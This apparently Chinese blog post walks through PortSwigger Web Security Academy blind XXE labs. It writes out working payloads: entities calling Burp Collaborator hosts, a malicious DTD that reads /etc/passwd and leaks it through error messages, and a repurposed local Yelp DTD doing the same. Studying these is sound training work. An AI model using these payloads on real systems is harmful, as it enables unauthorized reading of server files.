burpsuite平台的XXE

Posted on 2022-09-22 19:39  季啊  阅读(123)  评论(0编辑  收藏  举报

https://portswigger.net/web-security/xxe/blind    burpsuite平台的地址

Blind XXE 带外交互

首先进入这个页面后进行抓包

 

 

 

 

 

 

 

 

 

 

根据它的一个解决方案对于抓到的包中信息做一个修改

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://nriqtn9yt2mnbz424iu12dgwangd42.burpcollaborator.net"> ]>

BURP-COLLABORATOR-SUBDOMAIN此内容修改为bp的collaborator client复制的二级域名:
nriqtn9yt2mnbz424iu12dgwangd42.burpcollaborator.net

修改后为:<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://nriqtn9yt2mnbz424iu12dgwangd42.burpcollaborator.net"> ]>
复制到xml和stockCheck中间位置。
productId引用的编号修改为&xxe;

 

 

 

 

Blind XXE 通过XML参数实体进行带外交互

也是先进入实验室页面,随便找一个图片的了解详情进入,然后抓包。同样也是先看它的解决方法,先启动burp collaborator client,复制有效负载。发送到repeater

 

 

 

 

 

 


解决问题复制过来:
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>

有效负载:
yjlnxdgb5hnc1xf8swh1vgiyyp4fs4.burpcollaborator.net

修改后:<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://yjlnxdgb5hnc1xf8swh1vgiyyp4fs4.burpcollaborator.net"> %xxe; ]>
放在XML声明和stockCheck元素中间,然后send运行

 

 

 

 

利用盲注的XXE通过错误消息检索数据

进入实验室页面后,点击一张图片的详细信息,进行抓包,然后去漏洞利用服务器

 

 

 

 

 

 

然后复制dtd文件内容保存,并查看。

恶意的dtd文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

 

 

复制查看漏洞利用的url

https://exploit-0a790082045efa67c0891ec5018000f7.web-security-academy.net/exploit

 

 

在访问一个产品,进行抓包:

 

 

同样是在xml声明和stockCheck中间插入:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>

修改后的:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a790082045efa67c0891ec5018000f7.web-security-academy.net/exploit"> %xxe;]>

 

 

利用XXE通过重新利用本地DTD来检索数据

进入页面后,访问产品,查看详情->Check stock,使用burpsuite抓包post请求

 

 

 

 

 

 

在xml声明和stockCheck中间插入:

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
这是导入YelpDTD,重新定义ISOamso实体,触发包含内容的错误消息/etc/passwd文件